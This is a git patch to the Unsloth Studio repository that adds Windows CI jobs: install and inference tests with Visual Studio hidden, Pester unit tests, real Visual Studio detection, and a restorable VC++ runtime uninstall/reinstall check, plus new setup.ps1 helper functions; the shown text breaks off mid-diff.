Runs on windows-latest and windows-2025-vs2026: asserts Test-VCRedistInstalled reports present on the stock image, removes both detection signals (the System32 DLL via a redirected SystemRoot and the HKLM runtime keys, restorably) to confirm detection fires on a genuinely clean box, then does a literal uninstall/reinstall round trip with the official installer and the Ensure-VCRedist winget path. The runtime is restored before the job ends.

* Dot-source the full logging closure in the VC++ runtime CI job

Ensure-VCRedist calls step/substep, which reach Write-StudioStdoutMirror and Get-StudioAnsi; extract those too so the job does not fail with an unrecognized command. Also note that the runtime is ref-counted by Visual Studio on the hosted image, so the literal package uninstall is a no-op there (the clean-box section already proves detection fires when the runtime is genuinely absent).

* Tighten comments in setup.ps1, the VS2026 tests and workflow

Comment-only: condense the verbose helper/test/CI comments to one or two lines, drop the obvious ones, keep the non-obvious rationale. Verified comment-only by comparing the PowerShell code-token stream before and after (no code tokens changed); Pester suite still green.

* Fold the no-VS and setup.ps1 VS2026 Windows CI into studio-windows-inference-smoke.yml

Move the no-vs-cpu/no-vs-gpu-resolve and pester/vs-integration/vcredist-clean-box jobs into the existing Windows GGUF CI workflow and delete the two standalone files, so a studio change triggers one Windows workflow instead of three. Path filter gains tests/studio_setup_ps1/**; job keys and artifact names stay unique.

* CI: assert a Windows ROCm prebuilt exists in the no-VS resolve job

The no-vs-gpu-resolve job confirmed a Windows CUDA asset but never a ROCm one,
and the resolver step resolves to CPU on hosted runners (no AMD GPU), so the
AMD no-VS guarantee rode only on shared resolver code. Grep the per-gfx
windows-x64-rocm-gfx bundles in the same asset-availability step so a release
that drops the Windows ROCm prebuilts fails loudly.

---------

Co-authored-by: Daniel Han <michaelhan2050@gmail.com>
---
 .../studio-windows-inference-smoke.yml        | 535 ++++++++++++++++++
 studio/setup.ps1                              | 451 ++++++++++++---
 tests/studio_setup_ps1/Get-FunctionSource.ps1 |  55 ++
 .../Studio.Setup.Vs2026.Tests.ps1             | 368 ++++++++++++
 4 files changed, 1316 insertions(+), 93 deletions(-)
 create mode 100644 tests/studio_setup_ps1/Get-FunctionSource.ps1
 create mode 100644 tests/studio_setup_ps1/Studio.Setup.Vs2026.Tests.ps1

diff --git a/.github/workflows/studio-windows-inference-smoke.yml b/.github/workflows/studio-windows-inference-smoke.yml
index ceae8e049d..15a1affbc5 100644
--- a/.github/workflows/studio-windows-inference-smoke.yml
+++ b/.github/workflows/studio-windows-inference-smoke.yml
@@ -26,6 +26,7 @@ on:
       - 'unsloth_cli/**'
       - 'install.ps1'
       - 'pyproject.toml'
+      - 'tests/studio_setup_ps1/**'
       - '.github/workflows/studio-windows-inference-smoke.yml'
   push:
     branches: [main, pip]
@@ -1244,3 +1245,537 @@ jobs:
             logs/install.log
             logs/llama-server/*.log
           retention-days: 7
+
+  # ── folded from studio-windows-no-vs-smoke.yml: install + run with no Visual Studio ──
+  no-vs-cpu:
+    name: Studio install + inference without Visual Studio
+    runs-on: windows-latest
+    timeout-minutes: 35
+    defaults:
+      run:
+        shell: bash
+    env:
+      GGUF_REPO: unsloth/gemma-3-270m-it-GGUF
+      GGUF_VARIANT: UD-Q4_K_XL
+      GGUF_FILE: gemma-3-270m-it-UD-Q4_K_XL.gguf
+      STUDIO_PORT: '18820'
+      HF_HOME: ${{ github.workspace }}/hf-cache
+      PYTHONIOENCODING: utf-8
+      PYTHONUTF8: '1'
+    steps:
+      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
+        with:
+          persist-credentials: false
+
+      - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e  # v6.4.0
+        with:
+          node-version: '22'
+
+      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405  # v6.2.0
+        with:
+          python-version: '3.12'
+
+      - name: Restore HF_HOME for ${{ env.GGUF_REPO }}
+        id: cache-hf
+        uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae  # v5.0.5
+        continue-on-error: true
+        with:
+          path: hf-cache
+          key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
+
+      - name: Prime HF_HOME with the GGUF
+        id: prime-hf
+        if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
+        env:
+          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+        run: |
+          python -m pip install --upgrade huggingface_hub
+          mkdir -p hf-cache
+          bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE"
+          bash .github/scripts/hf-download-with-retry.sh ggml-org/models tinyllamas/stories260K.gguf
+
+      - name: Save HF_HOME for ${{ env.GGUF_REPO }}
+        if: always() && steps.prime-hf.outcome == 'success'
+        uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae  # v5.0.5
+        with:
+          path: hf-cache
+          key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
+
+      - name: Pre-install Windows tweaks (npm 11 + Defender exclusions)
+        shell: pwsh
+        run: |
+          $ProgressPreference = 'SilentlyContinue'
+          npm install -g 'npm@^11' 2>&1 | Out-Host
+          foreach ($p in @(
+            "$env:USERPROFILE\.unsloth",
+            "$env:USERPROFILE\AppData\Local\uv",
+            "$env:GITHUB_WORKSPACE\studio\frontend\node_modules",
+            "$env:GITHUB_WORKSPACE\studio\frontend\dist"
+          )) {
+            try { Add-MpPreference -ExclusionPath $p -ErrorAction Stop } catch { }
+          }
+
+      - name: Hide Visual Studio + CMake (simulate a host with no build tools)
+        shell: pwsh
+        run: |
+          $ErrorActionPreference = 'Stop'
+          # Rename the Visual Studio install roots (incl. the Installer that holds
+          # vswhere.exe) so Find-VsBuildTools' vswhere + filesystem scan both miss.
+          foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
+            if (Test-Path -LiteralPath $d) {
+              Rename-Item -LiteralPath $d -NewName ((Split-Path $d -Leaf) + '.vsoff')
+              Write-Host "Hid VS: $d"
+            }
+          }
+          # Surgically rename each cmake executable on PATH (not its parent dir --
+          # cmake can share a dir with other shims) so Get-Command cmake fails.
+          $hidden = @()
+          foreach ($c in (Get-Command cmake -All -ErrorAction SilentlyContinue)) {
+            if ($c.Source -and (Test-Path -LiteralPath $c.Source)) {
+              Rename-Item -LiteralPath $c.Source -NewName ((Split-Path $c.Source -Leaf) + '.off')
+              $hidden += $c.Source
+              Write-Host "Hid cmake: $($c.Source)"
+            }
+          }
+          ("HIDDEN_CMAKE=" + ($hidden -join '|')) | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+
+      - name: Assert Visual Studio + CMake are genuinely undetectable
+        shell: pwsh
+        run: |
+          $ErrorActionPreference = 'Stop'
+          . (Join-Path $env:GITHUB_WORKSPACE 'tests/studio_setup_ps1/Get-FunctionSource.ps1')
+          $setup = Join-Path $env:GITHUB_WORKSPACE 'studio/setup.ps1'
+          foreach ($fn in @('Resolve-VsGeneratorFromLabel', 'Find-VsBuildTools')) {
+            . ([scriptblock]::Create((Get-FunctionSource -Path $setup -Name $fn)))
+          }
+          $vs = Find-VsBuildTools
+          if ($vs) { Write-Error "Find-VsBuildTools still detects VS: $($vs.Generator) @ $($vs.InstallPath)"; exit 1 }
+          if (Get-Command cmake -ErrorAction SilentlyContinue) { Write-Error "cmake is still on PATH"; exit 1 }
+          if (Get-Command cl.exe -ErrorAction SilentlyContinue) { Write-Error "cl.exe is still on PATH"; exit 1 }
+          Write-Host "Confirmed: no Visual Studio, no cmake, no cl.exe."
+
+      - name: PyTorch CPU wheel installs and imports (no Visual Studio)
+        run: |
+          python -m pip install --upgrade pip
+          python -m pip install torch --index-url https://download.pytorch.org/whl/cpu
+          python -c "import torch; print('torch', torch.__version__, 'cuda?', torch.cuda.is_available())"
+
+      - name: Install Studio (--local, --no-torch) with no build tools present
+        shell: pwsh
+        env:
+          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+        run: |
+          New-Item -ItemType Directory -Force -Path logs | Out-Null
+          $ProgressPreference = 'SilentlyContinue'
+          & ./install.ps1 --local --no-torch *>&1 | Tee-Object -FilePath logs/install.log
+
+      - name: Assert prebuilt used AND no build tools were installed
+        run: |
+          LLAMA_DIR=~/.unsloth/llama.cpp
+          INFO="$LLAMA_DIR/UNSLOTH_PREBUILT_INFO.json"
+          BIN="$LLAMA_DIR/build/bin/Release/llama-server.exe"
+          fail=0
+          if grep -q "falling back to source build" logs/install.log; then
+            echo "::error::install.ps1 fell back to source-build llama.cpp without VS."; fail=1
+          fi
+          # The deferred build-tool installs must NOT run on the prebuilt path.
+          for pat in "Kitware.CMake" "Microsoft.VisualStudio.2022.BuildTools" "installing via winget"; do
+            if grep -qi "$pat" logs/install.log; then
+              echo "::error::unexpected build-tool install on the prebuilt path: '$pat'"; fail=1
+            fi
+          done
+          [ -f "$INFO" ] || { echo "::error::no UNSLOTH_PREBUILT_INFO.json"; ls -la "$LLAMA_DIR" || true; fail=1; }
+          [ -f "$BIN" ]  || { echo "::error::no llama-server.exe"; ls -la "$LLAMA_DIR/build/bin" || true; fail=1; }
+          if [ "$fail" != "0" ]; then grep -iE "cmake|visual studio|prebuilt|source build" logs/install.log | tail -60; exit 1; fi
+          echo "Prebuilt installed with no build tools:"
+          cat "$INFO"
+
+      - name: Add Studio shim to GITHUB_PATH
+        run: |
+          SHIM_DIR=~/.unsloth/studio/bin
+          [ -f "$SHIM_DIR/unsloth.exe" ] || { echo "::error::unsloth.exe shim not found"; ls -la ~/.unsloth/studio/ || true; exit 1; }
+          cygpath -w "$SHIM_DIR" >> "$GITHUB_PATH"
+
+      - name: Reset auth + boot Studio (API-only)
+        run: |
+          unsloth studio reset-password
+          mkdir -p logs
+          UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \
+            > logs/studio.log 2>&1 &
+          echo "STUDIO_PID=$!" >> "$GITHUB_ENV"
+
+      - name: Wait for /api/health, log in, load the GGUF
+        run: |
+          for i in $(seq 1 180); do
+            if curl -fs "http://127.0.0.1:${STUDIO_PORT}/api/health" > /tmp/health.json; then
+              jq -e '.status == "healthy"' /tmp/health.json && break
+            fi
+            sleep 1
+          done
+          jq -e '.status == "healthy"' /tmp/health.json || { tail -200 logs/studio.log; exit 1; }
+          OLD=$(cat ~/.unsloth/studio/auth/.bootstrap_password)
+          NEW="CINoVS-$(python -c 'import secrets; print(secrets.token_urlsafe(12))')"
+          echo "::add-mask::$OLD"
+          echo "::add-mask::$NEW"
+          OLD_TOKEN=$(curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/api/auth/login" \
+            -H 'content-type: application/json' \
+            -d "{\"username\":\"unsloth\",\"password\":\"$OLD\"}" | jq -r .access_token)
+          curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/api/auth/change-password" \
+            -H "Authorization: Bearer $OLD_TOKEN" -H 'content-type: application/json' \
+            -d "{\"current_password\":\"$OLD\",\"new_password\":\"$NEW\"}" > /dev/null
+          TOKEN=$(curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/api/auth/login" \
+            -H 'content-type: application/json' \
+            -d "{\"username\":\"unsloth\",\"password\":\"$NEW\"}" | jq -r .access_token)
+          echo "API_KEY=$TOKEN" >> "$GITHUB_ENV"
+          LOAD_OK=0
+          for attempt in 1 2 3; do
+            HTTP=$(curl -s -o /tmp/load.json -w '%{http_code}' \
+              -X POST "http://127.0.0.1:${STUDIO_PORT}/api/inference/load" \
+              -H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
+              --max-time 600 \
+              -d "{\"model_path\":\"$GGUF_REPO\",\"gguf_variant\":\"$GGUF_VARIANT\",\"is_lora\":false,\"max_seq_length\":2048}")
+            if [ "$HTTP" = "200" ]; then LOAD_OK=1; break; fi
+            echo "::warning::/api/inference/load attempt $attempt returned $HTTP"; cat /tmp/load.json || true; sleep 10
+          done
+          [ "$LOAD_OK" = "1" ] || { echo "::error::/api/inference/load failed 3 attempts"; exit 22; }
+          jq '{status, display_name, is_gguf}' /tmp/load.json
+
+      - name: Inference works via the prebuilt llama.cpp (no VS)
+        run: |
+          RESP=$(curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/v1/chat/completions" \
+            -H "Authorization: Bearer $API_KEY" -H 'content-type: application/json' \
+            --max-time 240 \
+            -d '{"model":"default","messages":[{"role":"user","content":"What is 1+1? Answer briefly."}],"temperature":0,"max_tokens":32,"stream":false}')
+          echo "$RESP" | jq '.choices[0].message' || { echo "$RESP"; exit 1; }
+          CONTENT=$(echo "$RESP" | jq -r '.choices[0].message.content')
+          [ -n "$CONTENT" ] && [ "$CONTENT" != "null" ] || { echo "::error::empty completion"; exit 1; }
+          echo "Inference OK without Visual Studio: $CONTENT"
+
+      - name: Restore Visual Studio + CMake
+        if: always()
+        shell: pwsh
+        run: |
+          foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
+            $off = "$d.vsoff"
+            if (Test-Path -LiteralPath $off) { Rename-Item -LiteralPath $off -NewName (Split-Path $d -Leaf); Write-Host "Restored $d" }
+          }
+          if ($env:HIDDEN_CMAKE) {
+            foreach ($src in ($env:HIDDEN_CMAKE -split '\|')) {
+              if ($src -and (Test-Path -LiteralPath "$src.off")) { Rename-Item -LiteralPath "$src.off" -NewName (Split-Path $src -Leaf) }
+            }
+          }
+
+      - name: Stop Studio
+        if: always()
+        shell: cmd
+        run: echo Stop Studio (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end)
+
+      - name: Collect llama-server logs
+        if: always()
+        continue-on-error: true
+        run: |
+          mkdir -p logs/llama-server
+          cp -v ~/.unsloth/studio/logs/llama-server/*.log logs/llama-server/ 2>/dev/null || echo "no llama-server logs"
+
+      - name: Upload logs
+        if: always()
+        continue-on-error: true
+        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a  # v7.0.1
+        with:
+          name: windows-no-vs-cpu-log
+          path: |
+            logs/install.log
+            logs/studio.log
+            logs/llama-server/*.log
+          retention-days: 7
+
+  # ─────────────────────────────────────────────────────────────────────
+  # Job B: the GPU (CUDA) prebuilt path is also VS-free (resolve/availability)
+  # ─────────────────────────────────────────────────────────────────────
+  no-vs-gpu-resolve:
+    name: GPU prebuilt resolves without Visual Studio
+    runs-on: windows-latest
+    timeout-minutes: 15
+    defaults:
+      run:
+        shell: bash
+    env:
+      PYTHONIOENCODING: utf-8
+      PYTHONUTF8: '1'
+    steps:
+      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
+        with:
+          persist-credentials: false
+
+      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405  # v6.2.0
+        with:
+          python-version: '3.12'
+
+      - name: Hide Visual Studio
+        shell: pwsh
+        run: |
+          $ErrorActionPreference = 'Stop'
+          foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
+            if (Test-Path -LiteralPath $d) { Rename-Item -LiteralPath $d -NewName ((Split-Path $d -Leaf) + '.vsoff'); Write-Host "Hid VS: $d" }
+          }
+
+      - name: Windows CUDA and ROCm prebuilts exist in unslothai/llama.cpp (what GPU users download, no VS)
+        env:
+          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+        run: |
+          curl -fsSL -H "Authorization: Bearer $GH_TOKEN" \
+            "https://api.github.com/repos/unslothai/llama.cpp/releases/latest" > /tmp/rel.json
+          echo "release: $(jq -r .tag_name /tmp/rel.json)"
+          ASSETS=$(jq -r '.assets[].name' /tmp/rel.json)
+          echo "$ASSETS" | grep -iE 'windows-x64-cuda[0-9]' || {
+            echo "::error::no Windows x64 CUDA prebuilt asset found in unslothai/llama.cpp latest release"
+            echo "$ASSETS"; exit 1; }
+          # AMD parity: hosted runners have no AMD GPU, so the resolver step below
+          # can't exercise the ROCm path (it resolves to CPU). Pin the per-gfx
+          # Windows ROCm bundles here so a release that drops them fails loudly --
+          # the AMD no-VS guarantee otherwise rides only on shared resolver code.
+          echo "$ASSETS" | grep -iE 'windows-x64-rocm-gfx' || {
+            echo "::error::no Windows x64 ROCm (per-gfx) prebuilt asset found in unslothai/llama.cpp latest release"
+            echo "$ASSETS"; exit 1; }
+          echo "Windows CUDA and ROCm prebuilts are available -- GPU users get them without compiling."
+
+      - name: The prebuilt resolver runs without Visual Studio
+        env:
+          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+        run: |
+          # Resolver-only (no GPU on hosted runners, so the host resolves to the
+          # CPU bundle). The point is that resolution needs no compiler/VS.
+          python -m pip install --upgrade huggingface_hub
+          python studio/install_llama_prebuilt.py --resolve-prebuilt latest --output-format json > /tmp/resolve.json || {
+            echo "::error::resolver exited non-zero"; cat /tmp/resolve.json || true; exit 1; }
+          cat /tmp/resolve.json
+          echo "Prebuilt resolver ran with no Visual Studio present."
+
+      - name: Restore Visual Studio
+        if: always()
+        shell: pwsh
+        run: |
+          foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
+            $off = "$d.vsoff"
+            if (Test-Path -LiteralPath $off) { Rename-Item -LiteralPath $off -NewName (Split-Path $d -Leaf); Write-Host "Restored $d" }
+          }
+
+  # ── folded from studio-setup-ps1-vs2026.yml: setup.ps1 unit tests + real-VS detection + vcredist ──
+  pester:
+    name: setup.ps1 unit tests (VS 2026 / CMake guard)
+    runs-on: windows-latest
+    timeout-minutes: 15
+    steps:
+      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
+        with:
+          persist-credentials: false
+
+      - name: Install Pester v5
+        shell: pwsh
+        run: |
+          Set-PSRepository PSGallery -InstallationPolicy Trusted
+          Install-Module Pester -MinimumVersion 5.5.0 -Force -SkipPublisherCheck -Scope CurrentUser
+          Import-Module Pester -MinimumVersion 5.5.0
+          Get-Module Pester | Select-Object Name, Version | Format-Table
+
+      - name: Run Pester suite
+        shell: pwsh
+        run: |
+          $ErrorActionPreference = 'Stop'
+          $testDir = Join-Path $env:GITHUB_WORKSPACE 'tests/studio_setup_ps1'
+          if (-not (Test-Path $testDir)) {
+              Write-Error "Test directory not found: $testDir"
+              exit 1
+          }
+          $cfg = New-PesterConfiguration
+          $cfg.Run.Path                = $testDir
+          $cfg.Run.Exit                = $true   # non-zero exit => job fails
+          $cfg.Run.Throw               = $true   # also throw on test failure / 0 tests
+          $cfg.TestResult.Enabled      = $true
+          $cfg.TestResult.OutputFormat = 'NUnitXml'
+          $cfg.TestResult.OutputPath   = Join-Path $env:GITHUB_WORKSPACE 'pester-results.xml'
+          $cfg.Output.Verbosity        = 'Detailed'
+          Invoke-Pester -Configuration $cfg
+
+      - name: Upload Pester results
+        if: always()
+        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a  # v7.0.1
+        with:
+          name: pester-results-setup-ps1
+          path: pester-results.xml
+          if-no-files-found: warn
+
+  vs-integration:
+    # Real detection against the VS installed on the runner image (no mocks).
+    name: real-VS detection (${{ matrix.label }})
+    strategy:
+      fail-fast: false
+      matrix:
+        include:
+          - { os: windows-2022,        label: 'VS 2022', expectGen: 'Visual Studio 17 2022', expectToolset: 'v170' }
+          - { os: windows-2025-vs2026, label: 'VS 2026', expectGen: 'Visual Studio 18 2026', expectToolset: 'v180' }
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 15
+    steps:
+      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
+        with:
+          persist-credentials: false
+
+      - name: Detect the real Visual Studio with setup.ps1 functions
+        shell: pwsh
+        env:
+          EXPECT_GEN: ${{ matrix.expectGen }}
+          EXPECT_TOOLSET: ${{ matrix.expectToolset }}
+        run: |
+          $ErrorActionPreference = 'Stop'
+          . (Join-Path $env:GITHUB_WORKSPACE 'tests/studio_setup_ps1/Get-FunctionSource.ps1')
+          $setup = Join-Path $env:GITHUB_WORKSPACE 'studio/setup.ps1'
+          foreach ($fn in @('Resolve-VsGeneratorFromLabel', 'Get-VcBuildCustomizationsDir', 'Find-VsBuildTools')) {
+              . ([scriptblock]::Create((Get-FunctionSource -Path $setup -Name $fn)))
+          }
+
+          # Ground truth from the real vswhere (independent of our code), for visibility.
+          $vsw = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe"
+          if (Test-Path $vsw) {
+              $year = (& $vsw -latest -property catalog_productLineVersion 2>$null | Select-Object -First 1)
+              $path = (& $vsw -latest -property installationPath 2>$null | Select-Object -First 1)
+              Write-Host "Real vswhere: productLineVersion='$year'  installPath='$path'"
+          } else {
+              Write-Host "vswhere not present at $vsw (relying on filesystem fallback)"
+          }
+
+          # Our detection must find the real VS and report the expected generator.
+          $r = Find-VsBuildTools
+          if (-not $r) { throw "Find-VsBuildTools returned null on a host with real $env:EXPECT_GEN" }
+          Write-Host "Find-VsBuildTools -> Generator='$($r.Generator)' Source='$($r.Source)' InstallPath='$($r.InstallPath)'"
+          if ($r.Generator -ne $env:EXPECT_GEN) {
+              throw "Detection mismatch: got '$($r.Generator)', expected '$env:EXPECT_GEN'"
+          }
+          if (-not (Test-Path $r.InstallPath)) { throw "Detected InstallPath does not exist: $($r.InstallPath)" }
+
+          # Toolset path derivation must match the expected v-number...
+          $bc = Get-VcBuildCustomizationsDir -VsInstallPath $r.InstallPath -Generator $r.Generator
+          $derived = Split-Path (Split-Path $bc -Parent) -Leaf   # e.g. v170 / v180
+          Write-Host "Get-VcBuildCustomizationsDir -> '$bc' (toolset='$derived')"
+          if ($derived -ne $env:EXPECT_TOOLSET) {
+              throw "Toolset mismatch: derived '$derived', expected '$env:EXPECT_TOOLSET'"
+          }
+
+          # ...and that v-number is a real folder on the VS install (where CUDA's
+          # BuildCustomizations would land).
+          $vcRoot = Join-Path $r.InstallPath 'MSBuild\Microsoft\VC'
+          if (Test-Path $vcRoot) {
+              $realToolsets = @((Get-ChildItem -Path $vcRoot -Directory -ErrorAction SilentlyContinue).Name)
+              Write-Host "Real VC toolset dirs: $($realToolsets -join ', ')"
+              if ($realToolsets -notcontains $derived) {
+                  throw "Derived toolset '$derived' is not present on the real $env:EXPECT_GEN install (have: $($realToolsets -join ', '))"
+              }
+              Write-Host "OK: toolset '$derived' exists on the real VS install."
+          } else {
+              Write-Warning "VC MSBuild root absent ($vcRoot) - C++ workload not installed; skipping on-disk toolset check."
+          }
+
+          Write-Host "PASS: real $env:EXPECT_GEN detected correctly with toolset '$derived'."
+
+  vcredist-clean-box:
+    # Validate Test-VCRedistInstalled + Ensure-VCRedist on a throwaway runner:
+    # present on the stock image, fires on a clean box (signals removed restorably),
+    # then a literal uninstall/reinstall round trip. Always restored before the end.
+    name: VC++ runtime detect + install round-trip (${{ matrix.os }})
+    strategy:
+      fail-fast: false
+      matrix:
+        os: [windows-latest, windows-2025-vs2026]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 20
+    steps:
+      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
+        with:
+          persist-credentials: false
+
+      - name: Detect present, fire on a clean box, and round-trip the install
+        shell: pwsh
+        run: |
+          $ErrorActionPreference = 'Stop'
+          . (Join-Path $env:GITHUB_WORKSPACE 'tests/studio_setup_ps1/Get-FunctionSource.ps1')
+          $setup = Join-Path $env:GITHUB_WORKSPACE 'studio/setup.ps1'
+          # Dot-source the guard + the logging closure it reaches
+          # (step/substep -> Write-StudioStdoutMirror / Get-StudioAnsi).
+          $script:StudioVtOk = $false
+          $script:UnslothVerbose = $false
+          foreach ($fn in @('Get-StudioAnsi', 'Write-StudioStdoutMirror', 'step', 'substep',
+                            'Invoke-SetupCommand', 'Refresh-Environment',
+                            'Test-VCRedistInstalled', 'Ensure-VCRedist')) {
+              $src = Get-FunctionSource -Path $setup -Name $fn
+              if (-not $src) { throw "Function '$fn' not found in setup.ps1" }
+              . ([scriptblock]::Create($src))
+          }
+
+          $regKeys = @(
+              'HKLM\SOFTWARE\Microsoft\VisualStudio\14.0\VC\Runtimes\x64',
+              'HKLM\SOFTWARE\WOW6432Node\Microsoft\VisualStudio\14.0\VC\Runtimes\x64'
+          )
+          function Show-GroundTruth {
+              $dll = Join-Path $env:SystemRoot 'System32\vcruntime140_1.dll'
+              Write-Host ("  System32\vcruntime140_1.dll present: {0}" -f (Test-Path $dll))
+              foreach ($k in $regKeys) {
+                  $r = Get-ItemProperty -Path "HKLM:\$($k.Substring(5))" -ErrorAction SilentlyContinue
+                  if ($r) { Write-Host ("  {0}: Installed={1} {2}.{3}" -f $k, $r.Installed, $r.Major, $r.Minor) }
+                  else    { Write-Host ("  {0}: (absent)" -f $k) }
+              }
+          }
+
+          Write-Host '== A. Detection on the stock runner (expect present) =='
+          Show-GroundTruth
+          if (-not (Test-VCRedistInstalled)) { throw 'Test-VCRedistInstalled reported ABSENT on a stock runner that ships the VC++ runtime (detection regression).' }
+          Write-Host '  Test-VCRedistInstalled -> present  OK'
+
+          Write-Host '== B. Genuinely clean box (restorable): detection must FIRE =='
+          $scratch = Join-Path $env:RUNNER_TEMP 'cleanwin'
+          New-Item -ItemType Directory -Force -Path (Join-Path $scratch 'System32') | Out-Null
+          $backup = Join-Path $env:RUNNER_TEMP 'vcreg_backup'
+          New-Item -ItemType Directory -Force -Path $backup | Out-Null
+          $origSysRoot = $env:SystemRoot
+          try {
+              for ($i = 0; $i -lt $regKeys.Count; $i++) {
+                  reg query $regKeys[$i] *> $null
+                  if ($LASTEXITCODE -eq 0) {
+                      reg export $regKeys[$i] (Join-Path $backup "$i.reg") /y *> $null
+                      reg delete $regKeys[$i] /f *> $null
+                  }
+              }
+              $env:SystemRoot = $scratch
+              if (Test-VCRedistInstalled) { throw 'Detection still PRESENT after both signals were removed (it would never trigger an install on a clean box).' }
+              Write-Host '  Test-VCRedistInstalled -> absent  OK (detection fires on a clean box)'
+          } finally {
+              $env:SystemRoot = $origSysRoot
+              for ($i = 0; $i -lt $regKeys.Count; $i++) {
+                  $f = Join-Path $backup "$i.reg"
+                  if (Test-Path $f) { reg import $f *> $null }
+              }
+          }
+          Show-GroundTruth
+          if (-not (Test-VCRedistInstalled)) { throw 'Detection did not recover after restoring the registry (test restore bug).' }
+
+          Write-Host '== C. Literal uninstall on this throwaway VM (official installer), observe detection =='
+          $exe = Join-Path $env:RUNNER_TEMP 'vc_redist.x64.exe'
+          Invoke-WebRequest -Uri 'https://aka.ms/vs/17/release/vc_redist.x64.exe' -OutFile $exe
+          Start-Process -FilePath $exe -ArgumentList '/uninstall', '/quiet', '/norestart' -Wait
+          Show-GroundTruth
+          Write-Host ("  Test-VCRedistInstalled after uninstall -> {0}" -f (Test-VCRedistInstalled))
+          if (Test-VCRedistInstalled) {
+              Write-Host '  Note: the Visual Studio on this image ref-counts the runtime, so the package'
+              Write-Host '        uninstall is a no-op here; section B already proved detection on a clean box.'
+          }
+
+          Write-Host '== D. Restore via Ensure-VCRedist (winget product path), installer fallback if needed =='
+          Ensure-VCRedist
+          if (-not (Test-VCRedistInstalled)) {
+              Write-Host '  winget path did not restore it; using the official installer to close the round trip.'
+              Start-Process -FilePath $exe -ArgumentList '/install', '/quiet', '/norestart' -Wait
+          }
+          Show-GroundTruth
+          if (-not (Test-VCRedistInstalled)) { throw 'VC++ runtime could not be restored after the uninstall round-trip.' }
+          Write-Host '  Test-VCRedistInstalled -> present  OK'
+          Write-Host 'PASS: detection is correct on a real install, fires on a clean box, and the install round-trip restores the runtime.'
diff --git a/studio/setup.ps1 b/studio/setup.ps1
index 28941d91a6..20d53734a1 100644
--- a/studio/setup.ps1
+++ b/studio/setup.ps1
@@ -390,45 +390,199 @@ function Get-PytorchCudaTag {
     return "cu126"
 }
 
-# Find Visual Studio Build Tools for cmake -G flag.
-# Strategy: (1) vswhere, (2) scan filesystem (handles broken vswhere registration).
-# Returns @{ Generator = "Visual Studio 17 2022"; InstallPath = "C:\..."; Source = "..." } or $null.
-function Find-VsBuildTools {
-    $map = @{ '2022' = '17'; '2019' = '16'; '2017' = '15' }
+# VS generator -> MSBuild BuildCustomizations dir; toolset tracks the VS major
+# (18->v180, 17->v170), defaulting to v170 when unparseable.
+function Get-VcBuildCustomizationsDir {
+    param(
+        [Parameter(Mandatory)][string]$VsInstallPath,
+        [string]$Generator
+    )
+    $toolset = 'v170'
+    if ($Generator -and ($Generator -match 'Visual Studio (\d+)\b')) {
+        $toolset = "v$($Matches[1])0"
+    }
+    return (Join-Path $VsInstallPath "MSBuild\Microsoft\VC\$toolset\BuildCustomizations")
+}
 
-    # --- Try vswhere first (works when VS is properly registered) ---
+# Installed cmake version, or $null if absent/unparseable.
+function Get-CmakeVersion {
+    $raw = & cmake --version 2>$null | Select-Object -First 1
+    if ($raw -and ($raw -match '(\d+)\.(\d+)(?:\.(\d+))?')) {
+        $patch = if ($Matches[3]) { $Matches[3] } else { '0' }
+        return [version]"$($Matches[1]).$($Matches[2]).$patch"
+    }
+    return $null
+}
+
+# VS 18 2026 generator needs cmake >= 4.2 (added there); true for older VS generators.
+function Test-CmakeSupportsGenerator {
+    param(
+        [Parameter(Mandatory)][string]$CmakeVersion,
+        [Parameter(Mandatory)][string]$Generator
+    )
+    if ($Generator -match 'Visual Studio 18\b') {
+        $clean = ($CmakeVersion -replace '[^0-9.].*$', '').TrimEnd('.')
+        try { $v = [version]$clean } catch { return $false }
+        return ($v -ge [version]'4.2')
+    }
+    return $true
+}
+
+function Test-CmakeListsGenerator {
